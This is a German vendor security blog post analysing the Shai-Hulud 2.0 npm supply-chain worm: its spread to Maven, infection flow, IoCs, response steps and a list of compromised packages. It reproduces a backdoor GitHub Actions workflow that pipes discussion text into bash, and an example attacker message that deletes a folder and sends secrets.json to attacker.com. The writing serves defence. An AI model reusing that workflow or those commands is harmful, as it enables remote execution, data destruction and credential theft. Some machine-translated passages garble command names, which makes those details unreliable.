Shai Hulud – npm-Lieferkettenangriff

Shai-Hulud 2.0 NPM-Lieferkettenangriff

TL; DR

Am 24. November 2025 entdeckten Forscher Shai Hulud: Die Wiederkunft, eine neue Welle der Angriff auf die Lieferkette von NPM das npm-Pakete erneut infiziert, Anmeldeinformationen stiehlt und sich auf Entwicklerrechnern ausbreitet und CI/CD pipelineIm Gegensatz zum ersten Vorfall installiert diese Version die Bun-Laufzeitumgebung dynamisch, schleust versteckte GitHub Actions-Hintertüren ein und enthält einen destruktiven Wiper, der ganze Home-Verzeichnisse unter Linux, macOS und Windows löschen kann. Innerhalb weniger Stunden schnellte die Zahl der kompromittierten Pakete auf über 830 hoch, was bestätigt, dass es sich hier nicht um eine einfache Variante, sondern um eine massive Eskalation handelt. Originalwurm.

Auswirkungen Jeder Entwickler oder CI-Runner, der öffentliche npm-Pakete installiert, könnte gefährdet sein. Auch Java-Teams sind gefährdet, da infizierte Pakete automatisch in Maven Central gespiegelt wurden.

Sofortmaßnahmen: Bekannte schädliche Versionen blockieren, Installationen ausschließlich über Sperrdateien erzwingen, npm-, GitHub- und Cloud-Zugangsdaten rotieren, unbekannte selbstgehostete Runner entfernen und auf Indikatoren für Kompromittierung (IoCs) wie setup_bun.js, bun_environment.js und verdächtige GitHub-Repositories mit dem Namen „Sha1-Hulud: The Second Coming“ achten.

Was sich änderte: Shai Hulud beim Angriff auf die NPM-Lieferkette, als dieser zu Maven wechselte

Die zweite Welle des Shai-Hulud-Angriffs brachte eine deutliche Eskalation mit sich. In der ersten Kampagne blieb der Wurm innerhalb des npm-Ökosystems. Diesmal drang die Schadsoftware in andere Bereiche vor. Maven-Zentraleund entlarvt damit Java-Teams, die npm nie benutzt haben.

Zeitleiste und Token-Fenster

Der Angriff begann am November 24, 2025 , kurz bevor npm seine veralteten Authentifizierungstoken abgeschafft hat am Dezember 9.
Diese alten Tokens ließen sich leichter stehlen und wiederverwenden. Da die Angreifer während dieses Zeitraums noch Zugriff darauf hatten, konnten sie vor dem Abbruch Hunderte von manipulierten Versionen in kürzester Zeit erneut veröffentlichen.

Wie die Malware Maven erreichte

Der registerübergreifende Sprung erfolgte aufgrund von mvnpm, ein automatisiertes Spiegelungstool, das npm-Pakete in Maven-Artefakte umwandelt.

mvnpm führt keine Sicherheitsprüfungen durch. Es verpackt einfach alles neu, was npm veröffentlicht.

Als Ergebnis:

  • Ein kompromittiertes npm-Paket (zum Beispiel posthog-node@4.18.1)
  • Wurde automatisch in ein Maven-Artefakt konvertiert.
    org.mvnpm:posthog-node:4.18.1
  • Und wurde auf Maven Central veröffentlicht, bevor irgendjemand merkte, dass es infiziert war.

Dies bedeutet, Java-Entwickler wurden Opfer eines npm-Sicherheitsverstoßes.selbst wenn sie nie ein npm-Paket installiert haben.

Warum dies wichtig ist

Dies ist die erster bekannter Registry-übergreifender Wurm, wo sich ein Lieferkettenangriff allein durch Automatisierung von einem Ökosystem auf ein anderes ausbreitet.
Aus diesem Grund umfasst der Wirkungsbereich nun auch Java, JVM-Workloads und enterprise Build-Systeme, die auf Maven Central basieren.

Was macht Shai Hulud 2.0 so ernst?

 Bun-Runtime wird zur Umgehung der Erkennung verwendet

Die Angreifer wechselten von Node.js zur Bun-Laufzeitumgebung. Die Malware installiert Bun dynamisch über setup_bun.js Während der Paketinstallation. Dadurch wird die Node-spezifische Überwachung umgangen und den Angreifern eine schnellere Ausführung einer sehr großen, verschleierten Nutzlast ermöglicht.

GitHub Actions als Hintertür für Befehle missbraucht

Nach der Installation erstellt die Malware einen versteckten, selbstgehosteten GitHub Actions-Runner in  $HOME/.dev-env/Dies funktioniert unter Windows, macOS und Linux. Angreifer können Befehle ausführen, indem sie einfach Nachrichten in den GitHub-Diskussionen eines kompromittierten Repositorys veröffentlichen. Eine Workflow-Datei verarbeitet diese Nachrichten und führt sie als Shell-Befehle aus.

Eingebauter Scheibenwischer

Kann sich die Schadsoftware nicht bei GitHub oder npm authentifizieren, löscht sie das Home-Verzeichnis des Opfers.

  • Unter Windows verwendet es des Restaurants, rd und Chiffre /W Dateien löschen.
  • Unter Linux und macOS werden Daten überschrieben mit zerkleinern und löscht anschließend die Verzeichnisse.

Ein sehr lauter Wahlkampf

Obwohl die Malware teilweise auf Tarnung setzt (beispielsweise durch die Verwendung von Bun), ist die gesamte Kampagne alles andere als unauffällig. Sie veröffentlicht aggressiv kompromittierte Pakete erneut, erstellt Hunderte oder Tausende neuer Repositories, lädt massenhaft Anmeldeinformationen hoch und installiert langlebige, selbstgehostete Runner auf Entwicklerrechnern. Nichts davon ist ein unauffälliges Vorgehen. Das Ausmaß, die Geschwindigkeit und die operative „Auffälligkeit“ dieses Angriffs heben sich deutlich von den meisten Lieferkettenkompromittierungen ab, bei denen es in der Regel darum geht, so lange wie möglich unentdeckt zu bleiben..

Weitreichende Auswirkungen

Die Angreifer kompromittierten zahlreiche bekannte Softwarepakete mit Millionen monatlicher Downloads, darunter:
Zapier, ENS Domains, Postman, PostHog, AsyncAPI und Voiceflow.

Mögliche Attributionssignale

Die Zuordnung gestaltet sich schwierig, und es gibt keine bestätigte Quelle für die Kampagne. Ein führendes Sicherheitsunternehmen merkt an, dass die Operation dem früheren Shai-Hulud-Wurm ähnelt, doch die Unterschiede in der Erstellung der Payload und der Verbreitungsmethode deuten auf ein anderes Betreiberteam hin. Die Analyse zeigt, dass mehrere Systeme die kompromittierten Pakete heruntergeladen haben, bevor npm sie entfernte. Dies spricht für eine tatsächliche Gefährdung und nicht für einen kurzlebigen Test.

Da die Taktiken zwar an die erste Welle erinnern, sich aber in entscheidenden Punkten unterscheiden, insbesondere in der Payload-Struktur, der Verbreitungslogik und dem Vorgehen, ist ein Nachahmungsszenario plausibel. Die Angreifer könnten Ideen von Shai-Hulud übernommen, aber ihre eigenen Werkzeuge implementiert haben. Es könnte sich aber auch um eine völlig andere Gruppe handeln, die versucht, die frühere Kampagne zu imitieren.

Zum jetzigen Zeitpunkt gibt es keine stichhaltigen Beweise, die den Wurm mit einem bekannten Akteur, einer finanziell motivierten Gruppe oder einer staatlichen Einrichtung in Verbindung bringen. Die Überschneidungen mit dem ursprünglichen Wurm sind zwar vorhanden, die Unterschiede jedoch so bedeutend, dass die Zuordnung weiterhin als „unbestätigt“ gilt.

Verbreitung in Maven

Ein großes Sicherheitsunternehmen bestätigte, dass die schädlichen npm-Pakete automatisch über Maven erneut veröffentlicht wurden. mvnpm, ein Tool, das npm-Pakete ohne manuelle Überprüfung in Maven-Artefakte umwandelt.

Das folgende Paket wurde an Maven Central übertragen: org.mvnpm:posthog-node:4.18.1

Da mvnpm einfach alles neu verpackt, was npm veröffentlicht, wurden die infizierten Versionen in das Java-Ökosystem gespiegelt, bevor es irgendjemandem auffiel.

Maven Central hat die betroffenen Artefakte am 25. November 2025 entfernt und die Kontrollen verschärft, um ähnliche Probleme zwischen verschiedenen Registern zu vermeiden.

Das bedeutet, dass Java-Projekte ohne direkte Verbindung zu npm dennoch gefährdet sein könnten.

Wie der Shai Hulud 2.0-Angriff funktioniert

Infektionsfluss

  • Ein bösartiger Vorinstallation Das Skript wird hinzugefügt paket.json.
  • setup_bun.js Installiert Bun auf dem Rechner des Opfers, falls es fehlt.
  • bun_environment.js (Mehr als 480 Zeilen verschleierter Code) läuft im Hintergrund.
  • Die Malware scannt mithilfe ähnlicher Techniken wie TruffleHog nach Anmeldeinformationen. Sie sucht nach
    • AWS-, GCP- und Azure-Schlüssel
    • GitHub-Token
    • npm-Tokens
    • Geheimnisse des CI-Systems
  • Gestohlene Daten werden in öffentliche GitHub-Repositories hochgeladen, die die Beschreibung „Sha1-Hulud: The Second Coming“ tragen.
  • Mithilfe erbeuteter Token veröffentlicht die Malware kompromittierte Versionen von Paketen, infiziert zugängliche GitHub-Repositories und installiert persistente, selbstgehostete Runner zur Remote-Codeausführung.

Bösartige GitHub-Workflows

Während der zweiten Welle des Shai-Hulud NPM Supply Chain Attack wurde die Malware erstellt zwei versteckte GitHub Actions-Workflows innerhalb kompromittierter Repositories. Diese Arbeitsabläufe ermöglichen Angreifern die Ausführung von Remote-Code, langfristige Persistenz und vollen Zugriff auf Systemgeheimnisse.

1. Backdoor-Workflow (discussion.yaml)

Der gefährlichste Arbeitsablauf hört zu GitHub-Diskussionen Ereignisse. Wenn eine Diskussionsnachricht erstellt oder bearbeitet wird, liest der Workflow den Nachrichtentext und führt ihn als Ereignis aus. Shell-Befehl auf dem Rechner des Opfers.

Nachfolgend eine vereinfachte Version des schädlichen Arbeitsablaufs, rekonstruiert aus beobachteten Beispielen:

# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

Die entscheidende Aussage lautet:

${{ github.event.discussion.body }}

Das bedeutet, dass der Angreifer beliebige Befehle in einer GitHub-Diskussion posten kann und der selbstgehostete Runner diese sofort ausführt. Da selbstgehostete Runner häufig Zugriff auf interne Netzwerke, Cloud-Zugangsdaten und CI-Geheimnisse haben, ermöglicht diese Hintertür dem Angreifer während des Shai-Hulud-Angriffs auf die NPM-Lieferkette die vollständige Remote-Codeausführung.

Ausnutzung von Befehlsinjektionen

Dieser Workflow missbraucht die Art und Weise, wie GitHub Actions Ausdrücke verarbeitet. Anstatt die Eingabe auf sichere Zeichenketten zu beschränken, liest er den unformatierten Diskussionsinhalt und leitet ihn direkt an die Shell weiter. Dadurch muss der Angreifer lediglich eine Nachricht wie die folgende posten:

rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

Da dieses Verhalten während des Shai Hulud NPM Supply Chain Attack wiederholt auftrat, wurde es zu einem der deutlichsten Anzeichen dafür, dass die Malware GitHub Actions als Remote-Befehlskanal nutzte.

Selbstorganisierte Laufplattformen verschlimmern die Situation, weil sie:

  • laufen innerhalb von Unternehmensnetzwerken
  • Wolke halten oder CI/CD Beglaubigungsschreiben
  • Mit den Berechtigungen des Benutzers ausführen
  • Sie verfügen nicht über die Sandbox- oder Isolationsfunktionen von GitHub.

Dies ermöglicht Angreifern einen dauerhaften Zugriff auf interne Systeme.

Workflow zur Sammlung von Geheimnissen und Systemen

Zusätzlich zur Hintertür installiert die Malware einen weiteren Workflow, dessen Ziel es ist, sensible Daten vom infizierten System zu sammeln und zu speichern.
Diese Arbeitsabläufe fassen zusammen:

  • Cloud-Zugangsdaten
  • Umgebungsvariablen
  • Verzeichniseinträge
  • Geheime Scans im TruffleHog-Stil

Die gesammelten Daten werden in Dateien wie diesen gespeichert:

  • cloud.json
  • environment.json
  • inhalt.json
  • truffleSecrets.json

Diese Dateien werden anschließend in vom Angreifer kontrollierte GitHub-Repositories hochgeladen, die mit folgendem Label versehen sind: „Sha1-Hulud: Die zweite Ankunft“, wo Hunderte oder Tausende von Müllhalden entdeckt wurden.

Kompromissindikatoren

Reichen Sie das SHA256
setup_bun.js a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
bun_environment.js 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

Weitere Warnsignale

  • .github/workflows/discussion.yaml
  • $HOME/.dev-env/ mit unerwarteten Läufern
  • Öffentliche GitHub-Repos, die auf Ihrem Konto erstellt wurden und „Sha1-Hulud: The Second Coming“ enthalten

Aktualisierte Kennzahlen (Stand: 26. November 2025)

Metrisch Zu Zählen
npm-Pakete kompromittiert 830
Infizierte GitHub-Repositories 28,000
Geheime Dateien hochgeladen 5,000
Insgesamt gesammelte Geheimnisse 11,858
Gültige Geheimnisse 2,298

Was jetzt zu tun ist: Reaktion auf den Angriff von Shai Hulud auf die Lieferkette von NPM

Der Shai-Hulud-Angriff auf die NPM-Lieferkette erfordert eine schnelle und strukturierte Reaktion. Da sich diese zweite Welle über npm, GitHub, Entwicklerrechner und sogar Maven Central ausbreitet, sollten Teams umgehend handeln, um jegliche Gefährdung zu erkennen, einzudämmen und vollständig zu beheben. Die folgenden Schritte helfen Ihnen, in der richtigen Reihenfolge zu reagieren und das Risiko weiterer Kompromittierungen zu minimieren.

Detection

  • Suchen Sie auf GitHub nach Repos mit der Beschreibung „Sha1-Hulud: The Second Coming“.
  • Suchen Sie während der Paketinstallation nach Bun-Installationsprotokollen.
  • Überprüfen Sie die package.json-Dateien auf unerwartete Lebenszyklusskripte, insbesondere Vorinstallation.
  • Prüfen Sie, ob $HOME/.dev-env/ auf Entwickler- oder CI-Systemen.
  • Überprüfen Sie die Veröffentlichungsprotokolle von GitHub und npm auf verdächtige Releases.

Eindämmung

  • Alle Zugangsdaten regelmäßig aktualisieren: GitHub, npm, Cloud, CI-Geheimnisse, API-Schlüssel.
  • Unbekannte, selbstgehostete Runner deaktivieren und entfernen.
  • Die Erstellung von Repositorys wird vorübergehend gesperrt.
  • Entfernen Sie infizierte Versionen aus Ihrem Abhängigkeitsdiagramm.

Remediation

  • Betroffene Systeme reinigen.
  • Überprüfen Sie alle GitHub Actions-Workflows auf eingefügte Dateien.
  • Durchsuchen Sie Ihre CI-Protokolle nach ungewöhnlichen Befehlen oder Ausführungen.

Neuaufbau aus bekannten, funktionierenden Paketversionen.

Wie Xygeni hilft, Angriffe wie Shai-Hulud Second Coming zu stoppen

Nach einer so aggressiven Kampagne wie „Shai-Hulud Second Coming“ benötigen Teams mehr als manuelle Prüfungen. Sie brauchen einen automatisierten Schutz, der Malware blockiert, bevor sie Entwickler, CI-Systeme oder Produktionssysteme erreicht. Hier bietet Xygeni einen entscheidenden Vorteil.

Malware-Frühwarnung (MEW): Bedrohungen erkennen, bevor sie sich ausbreiten

 Die Frühwarn-Engine von Xygeni scannt neue und aktualisierte Open-Source-Pakete in Echtzeit. Sie kennzeichnet verdächtiges Verhalten wie beispielsweise:

  • Verschleierter JavaScript-Code oder massiv gebündelter Code
  • Lebenszyklusskripte, die externe Laufzeitumgebungen wie Bun installieren
  • Unerwartete Verbindungen zu GitHub-, npm- oder Cloud-Endpunkten
  • Dropper, die in $HOME, .dev-env/ oder Workflow-Ordner

MEW erkannte Muster, die in beiden Shai-Hulud-Wellen verwendet wurden, was den Teams hilft, zu reagieren, bevor die Angreifer die Infektion weiter verbreiten.

Guardrails in CI/CD Schadsoftware blockieren

Xygeni erzwingt guardrails die unsichere Vorgänge automatisch stoppen:

  • CI pipelines kann keine Pakete mit versteckten Vor- oder Nachinstallationsskripten installieren.
  • Builds schlagen fehl, wenn ein Paket versucht, Workflows wie die folgenden zu erstellen: .github/workflows/discussion.yaml
  • Pipelines lehnt Abhängigkeiten ab, die von nicht vertrauenswürdigen Quellen oder Erstsichtungskonten veröffentlicht wurden.

Dadurch wird die Angriffsfläche drastisch reduziert und verhindert, dass Schadsoftware innerhalb von CI-Jobs ausgeführt wird.

Geheimnisschutz reduziert den Explosionsradius

Da Shai-Hulud Cloud-Schlüssel, GitHub-Token, npm-Token und CI-Geheimnisse stiehlt, muss der Schutz auch Anmeldeinformationen umfassen. Xygeni:

  • Erkennt offengelegte Geheimnisse in Code, Protokollen, Workflows und Umgebungsdateien.
  • Automatische Rotation von Anmeldeinformationen mit hohem Risiko
  • Erzwingt die Verwendung kurzlebiger Token, um langfristige Kompromittierungen zu begrenzen.

Selbst wenn ein Angreifer anfänglich Zugriff erlangt, werden gestohlene Schlüssel schnell nutzlos.

Schlussbemerkungen: Warum der Shai-Hulud-Angriff auf die NPM-Lieferkette immer noch relevant ist

Das Shai-Huluds zweite Ankunft Der Vorfall zeigt, wie leicht ein moderner Angriff auf die Lieferkette von NPM Sie können sich zwischen verschiedenen Ökosystemen ausbreiten. In diesem Fall sprang Malware von npm zu Maven, weil automatisierte Spiegelungstools wie mvnpm Kompromittierte Pakete wurden ohne Überprüfung erneut veröffentlicht. Dadurch waren Java-Teams gefährdet, selbst wenn sie npm nie direkt nutzten. Dies verdeutlicht, dass datenbankübergreifende Workflows umgehend überprüft und mit stärkeren Sicherheitsvorkehrungen versehen werden müssen.

Darüber hinaus zeigen Ausmaß und Vorgehensweise dieser Kampagne, wie Angreifer heutzutage agieren. Anstatt unauffällig zu bleiben, veröffentlichen sie Hunderte von Paketen gleichzeitig, setzen versteckte GitHub-Runner ein, stehlen massenhaft Daten und integrieren sogar einen zerstörerischen Wiper für den Fall eines Fehlers. Manuelle Prüfungen können mit diesem Automatisierungsgrad und dieser Geschwindigkeit nicht mithalten. Teams benötigen kontinuierlichen Echtzeitschutz auf Paket-, Quellcode- und Netzwerkebene. pipeline Schichten.

Warum kontinuierlich Pipeline Security Ist jetzt unerlässlich

Angriffe wie Shai-Huluds zweite Ankunft wird sich weiterentwickeln. Um die nächste Welle zu verhindern, sind daher Kontrollmechanismen erforderlich, die automatisch im Inneren des Systems funktionieren. CI/CDNicht erst nach einem Sicherheitsvorfall. Moderne Verteidigung muss frühzeitige Malware-Erkennung, strenge Abhängigkeitsprüfung, Richtliniendurchsetzung und Geheimnisschutz kombinieren, damit sich Schadcode nicht unbemerkt in Entwicklungsumgebungen ausbreiten kann.

Xygeni unterstützt diesen Wandel durch die Bereitstellung automatisierter Lösungen. guardrails Es deckt die gesamte Software-Lieferkette ab. Es identifiziert verdächtige Pakete vor der Installation, erzwingt sichere Abhängigkeitsversionen, blockiert unsichere Arbeitsabläufe, erkennt ungeschützte Geheimnisse und warnt bei ungewöhnlichen Vorkommnissen. pipeline Aktivität. Dadurch bleiben die Teams auch dann geschützt, wenn sich Angriffe auf die Lieferkette schnell ausbreiten und die Grenzen des Ökosystems überschreiten.

Liste der kompromittierten Pakete

Betroffene Pakete können auch über die #shai-hulud / #shai-hulud-zweite-kommende Tag innerhalb OpenSourceMalware.com

 
Verpackung Version
02-Echo0.0.7
@accordproject/concerto-analysis3.24.1
@accordproject/concerto-linter3.24.1
@accordproject/concerto-linter-default-ruleset3.24.1
@accordproject/concerto-metamodel3.12.5
@accordproject/concerto-types3.24.1
@accordproject/markdown-it-cicero0.16.26
@accordproject/template-engine2.7.2
@actbase/css-to-react-native-transform1.0.3
@actbase/native0.1.32
@actbase/node-server1.1.19
@actbase/react-absolute0.8.3
@actbase/react-daum-postcode1.0.5
@actbase/react-kakaosdk0.9.27
@actbase/react-native-actionsheet1.0.3
@actbase/react-native-devtools0.1.3
@actbase/react-native-fast-image8.5.13
@actbase/react-native-kakao-channel1.0.2
@actbase/react-native-kakao-navi2.0.4
@actbase/react-native-less-transformer1.0.6
@actbase/react-native-naver-login1.0.1
@actbase/react-native-simple-video1.0.13
@actbase/react-native-tiktok1.1.3
@alexcolls/nuxt-socket.io0.0.7 , 0.0.8
@alexcolls/nuxt-ux0.6.2 , 0.6.1
@antstackio/eslint-config-antstack0.0.3
@antstackio/express-graphql-proxy0.2.8
@antstackio/graphql-body-parser0.1.1
@antstackio/json-to-graphql1.0.3
@antstackio/shelbysam1.1.7
@aryanhussain/my-angular-lib0.0.23
@asyncapi/dotnet-rabbitmq-template1.0.2 , 1.0.1
@asyncapi/edavisualiser1.2.2 , 1.2.1
@asyncapi/go-watermill-template0.2.76 , 0.2.77
@asyncapi/java-template0.3.6 , 0.3.5
@asyncapi/keeper0.0.3 , 0.0.2
@asyncapi/php-template0.1.2 , 0.1.1
@asyncapi/python-paho-template0.2.15 , 0.2.14
@asyncapi/server-api0.16.25 , 0.16.24
@asyncapi/studio1.0.3 , 1.0.2
@asyncapi/web-component2.6.7 , 2.6.6
@browserbasehq/bb91.2.21
@browserbasehq/director-ai1.0.3
@browserbasehq/mcp2.1.1
@browserbasehq/mcp-server-browserbase2.4.2
@browserbasehq/sdk-functions0.0.4
@browserbasehq/stagehand3.0.4
@browserbasehq/stagehand-docs1.0.1
@caretive/caret-cli0.0.2
@clausehq/flows-step-httprequest0.1.14
@clausehq/flows-step-jsontoxml0.1.14
@clausehq/flows-step-mqtt0.1.14
@clausehq/flows-step-sendgridemail0.1.14
@clausehq/flows-step-taskscreateurl0.1.14
@commute/bloom1.0.3
@commute/market-data1.0.2
@commute/market-data-chartjs2.3.1
@dev-blinq/ai-qa-logic1.0.19
@dev-blinq/cucumber-js1.0.131
@dev-blinq/cucumber_client1.0.738
@dev-blinq/ui-systems1.0.93
@ensdomains/address-encoder1.1.5
@ensdomains/blacklist1.0.1
@ensdomains/buffer0.1.2
@ensdomains/ccip-read-cf-worker0.0.4
@ensdomains/ccip-read-dns-gateway0.1.1
@ensdomains/ccip-read-router0.0.7
@ensdomains/ccip-read-worker-viem0.0.4
@ensdomains/content-hash3.0.1
@ensdomains/curvearithmetics1.0.1
@ensdomains/cypress-metamask1.2.1
@ensdomains/dnsprovejs0.5.3
@ensdomains/dnssec-oracle-anchors0.0.2
@ensdomains/dnssecoraclejs0.2.9
@ensdomains/durin0.1.2
@ensdomains/durin-middleware0.0.2
@ensdomains/ens-archived-contracts0.0.3
@ensdomains/ens-avatar1.0.4
@ensdomains/ens-contracts1.6.1
@ensdomains/ens-test-env1.0.2
@ensdomains/ens-validation0.1.1
@ensdomains/ensjs4.0.3
@ensdomains/ensjs-react0.0.5
@ensdomains/eth-ens-namehash2.0.16
@ensdomains/hackathon-registrar1.0.5
@ensdomains/hardhat-chai-matchers-viem0.1.15
@ensdomains/hardhat-toolbox-viem-extended0.0.6
@ensdomains/mock2.1.52
@ensdomains/name-wrapper1.0.1
@ensdomains/offchain-resolver-contracts0.2.2
@ensdomains/op-resolver-contracts0.0.2
@ensdomains/react-ens-address0.0.32
@ensdomains/renewal0.0.13
@ensdomains/renewal-widget0.1.10
@ensdomains/reverse-records1.0.1
@ensdomains/server-analytics0.0.2
@ensdomains/solsha10.0.4
@ensdomains/subdomain-registrar0.2.4
@ensdomains/test-utils1.3.1
@ensdomains/thorin0.6.51
@ensdomains/ui3.4.6
@ensdomains/unicode-confusables0.1.1
@ensdomains/unruggable-gateways0.0.3
@ensdomains/vite-plugin-i18next-loader4.0.4
@ensdomains/web3modal1.10.2
@everreal/react-charts2.0.1 , 2.0.2
@everreal/validate-esmoduleinterop-imports1.4.4 , 1.4.5
@everreal/web-analytics0.0.1 , 0.0.2
@faq-component/core0.0.4
@faq-component/react1.0.1
@fishingbooker/browser-sync-plugin1.0.5
@fishingbooker/react-loader1.0.7
@fishingbooker/react-pagination2.0.6
@fishingbooker/react-raty2.0.1
@fishingbooker/react-swiper0.1.5
@hapheus/n8n-nodes-pgp1.5.1
@hover-design/core0.0.1
@hover-design/react0.2.1
@ifelsedeveloper/protocol-contracts-svm-idl0.1.2
@ifings/design-system4.9.2
@ifings/metatron30.1.5
@kvytech/cli0.0.7
@kvytech/components0.0.2
@kvytech/habbit-e2e-test0.0.2
@kvytech/medusa-plugin-announcement0.0.8
@kvytech/medusa-plugin-management0.0.5
@kvytech/medusa-plugin-newsletter0.0.5
@kvytech/medusa-plugin-product-reviews0.0.9
@kvytech/medusa-plugin-promotion0.0.2
@kvytech/web0.0.2
@lessondesk/api-client9.12.3 , 9.12.2
@lessondesk/babel-preset1.0.1
@lessondesk/electron-group-api-client1.0.3
@lessondesk/eslint-config1.4.2
@lessondesk/material-icons1.0.3
@lessondesk/react-table-context2.0.4
@lessondesk/schoolbus5.2.2 , 5.2.3
@livecms/live-edit0.0.32
@livecms/nuxt-live-edit1.9.2
@louisle2/core1.0.1
@louisle2/cortex-js0.1.6
@lpdjs/firestore-repo-service1.0.1
@markvivanco/app-version-checker1.0.2 , 1.0.1
@ntnx/passport-wso20.0.3
@ntnx/t0.0.101
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode2.0.5
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode1.1.1
@orbitgtbelgium/orbit-components1.2.9
@orbitgtbelgium/time-slider1.0.187
@osmanekrem/bmad1.0.6
@osmanekrem/error-handler1.2.2
@posthog/agent1.24.1
@posthog/ai7.1.2
@posthog/cli0.5.15
@posthog/clickhouse1.7.1
@posthog/core1.5.6
@posthog/hedgehog-mode0.0.42
@posthog/icons0.36.1
@posthog/lemon-ui0.0.1
@posthog/nextjs-config1.5.1
@posthog/nuxt1.2.9
@posthog/piscina3.2.1
@posthog/plugin-contrib0.0.6
@posthog/react-rrweb-player1.1.4
@posthog/rrdom0.0.31
@posthog/rrweb0.0.31
@posthog/rrweb-player0.0.31
@posthog/rrweb-record0.0.31
@posthog/rrweb-replay0.0.19
@posthog/rrweb-snapshot0.0.31
@posthog/rrweb-utils0.0.31
@posthog/siphash1.1.2
@posthog/wizard1.18.1
@postman/aether-icons2.23.4 , 2.23.3 , 2.23.2
@postman/csv-parse4.0.5 , 4.0.3 , 4.0.4
@postman/node-keytar7.9.6 , 7.9.4 , 7.9.5
@postman/tunnel-agent0.6.7 , 0.6.6 , 0.6.5
@pradhumngautam/common-app1.0.2
@pruthvi21/use-debounce1.0.3
@quick-start-soft/quick-document-translator1.4.2511142126
@quick-start-soft/quick-git-clean-markdown1.4.2511142126
@quick-start-soft/quick-markdown1.4.2511142126
@quick-start-soft/quick-markdown-compose1.4.2506300029
@quick-start-soft/quick-markdown-image1.4.2511142126
@quick-start-soft/quick-markdown-print1.4.2511142126
@quick-start-soft/quick-markdown-translator1.4.2509202331
@quick-start-soft/quick-remove-image-background1.4.2511142126
@quick-start-soft/quick-task-refine1.4.2511142126
@relyt/claude-context-core0.1.1
@seezo/sdr-mcp-server0.0.5
@seung-ju/next0.0.2
@seung-ju/openapi-generator0.0.4
@seung-ju/react-hooks0.0.2
@seung-ju/react-native-action-sheet0.2.1
@sme-ui/aoma-vevasound-metadata-lib0.1.3
@strapbuild/react-native-date-time-picker2.0.4
@strapbuild/react-native-perspective-image-cropper0.4.15
@strapbuild/react-native-perspective-image-cropper-20.4.7
@strapbuild/react-native-perspective-image-cropper-poojan310.4.6
@suraj_h/medium-common1.0.5
@thedelta/eslint-config1.0.2
@tiaanduplessis/json2.0.3 , 2.0.2
@tiaanduplessis/react-progressbar1.0.2 , 1.0.1
@trefox/sleekshop-js0.1.6
@trigo/atrix7.0.1
@trigo/atrix-elasticsearch2.0.1
@trigo/atrix-postgres1.0.3
@trigo/atrix-pubsub4.0.3
@trigo/atrix-soap1.0.2
@trigo/atrix-swagger3.0.1
@trigo/bool-expressions4.1.3
@trigo/eslint-config-trigo3.3.1
@trigo/fsm3.4.2
@trigo/hapi-auth-signedlink1.3.1
@trigo/pathfinder-ui-css0.1.1
@trigo/trigo-hapijs5.0.1
@trpc-rate-limiter/cloudflare0.1.4
@trpc-rate-limiter/hono0.1.4
@varsityvibe/api-client1.3.36 , 1.3.37
@varsityvibe/utils5.0.6
@varsityvibe/validation-schemas0.6.7 , 0.6.8
@vishadtyagi/full-year-calendar0.1.11
@voiceflow/alexa-types2.15.60 , 2.15.61
@voiceflow/anthropic0.4.4 , 0.4.5
@voiceflow/api-sdk3.28.58 , 3.28.59
@voiceflow/backend-utils5.0.2 , 5.0.1
@voiceflow/base-types2.136.3 , 2.136.2
@voiceflow/body-parser1.21.2 , 1.21.3
@voiceflow/chat-types2.14.59 , 2.14.58
@voiceflow/circleci-config-sdk-orb-import0.2.1 , 0.2.2
@voiceflow/commitlint-config2.6.2 , 2.6.1
@voiceflow/common8.9.1 , 8.9.2
@voiceflow/default-prompt-wrappers1.7.4 , 1.7.3
@voiceflow/dependency-cruiser-config1.8.12 , 1.8.11
@voiceflow/dtos-interact1.40.2 , 1.40.1
@voiceflow/encryption0.3.3 , 0.3.2
@voiceflow/eslint-config7.16.4 , 7.16.5
@voiceflow/eslint-plugin1.6.2 , 1.6.1
@voiceflow/exception1.10.2 , 1.10.1
@voiceflow/fetch1.11.1 , 1.11.2
@voiceflow/general-types3.2.23 , 3.2.22
@voiceflow/git-branch-check1.4.4 , 1.4.3
@voiceflow/google-dfes-types2.17.12 , 2.17.13
@voiceflow/google-types2.21.12 , 2.21.13
@voiceflow/husky-config1.3.1 , 1.3.2
@voiceflow/logger2.4.3 , 2.4.2
@voiceflow/metrics1.5.2 , 1.5.1
@voiceflow/natural-language-commander0.5.2 , 0.5.3
@voiceflow/nestjs-common2.75.2 , 2.75.3
@voiceflow/nestjs-mongodb1.3.1 , 1.3.2
@voiceflow/nestjs-rate-limit1.3.3 , 1.3.2
@voiceflow/nestjs-redis1.3.1 , 1.3.2
@voiceflow/nestjs-timeout1.3.1 , 1.3.2
@voiceflow/npm-package-json-lint-config1.1.1 , 1.1.2
@voiceflow/openai3.2.2 , 3.2.3
@voiceflow/pino6.11.4 , 6.11.3
@voiceflow/pino-pretty4.4.2 , 4.4.1
@voiceflow/prettier-config1.10.2 , 1.10.1
@voiceflow/react-chat1.65.4 , 1.65.3
@voiceflow/runtime1.29.1 , 1.29.2
@voiceflow/runtime-client-js1.17.3 , 1.17.2
@voiceflow/sdk-runtime1.43.2 , 1.43.1
@voiceflow/secrets-provider1.9.3 , 1.9.2
@voiceflow/semantic-release-config1.4.2 , 1.4.1
@voiceflow/serverless-plugin-typescript2.1.7 , 2.1.8
@voiceflow/slate-serializer1.7.4 , 1.7.3
@voiceflow/stitches-react2.3.3 , 2.3.2
@voiceflow/storybook-config1.2.2 , 1.2.3
@voiceflow/stylelint-config1.1.1 , 1.1.2
@voiceflow/test-common2.1.1 , 2.1.2
@voiceflow/tsconfig1.12.2 , 1.12.1
@voiceflow/tsconfig-paths1.1.5 , 1.1.4
@voiceflow/utils-designer1.74.19 , 1.74.20
@voiceflow/verror1.1.5 , 1.1.4
@voiceflow/vite-config2.6.2 , 2.6.3
@voiceflow/vitest-config1.10.3 , 1.10.2
@voiceflow/voice-types2.10.59 , 2.10.58
@voiceflow/voiceflow-types3.32.45 , 3.32.46
@voiceflow/widget1.7.18 , 1.7.19
@zapier/ai-actions0.1.20 , 0.1.19 , 0.1.18
@zapier/babel-preset-zapier6.4.2 , 6.4.1 , 6.4.3
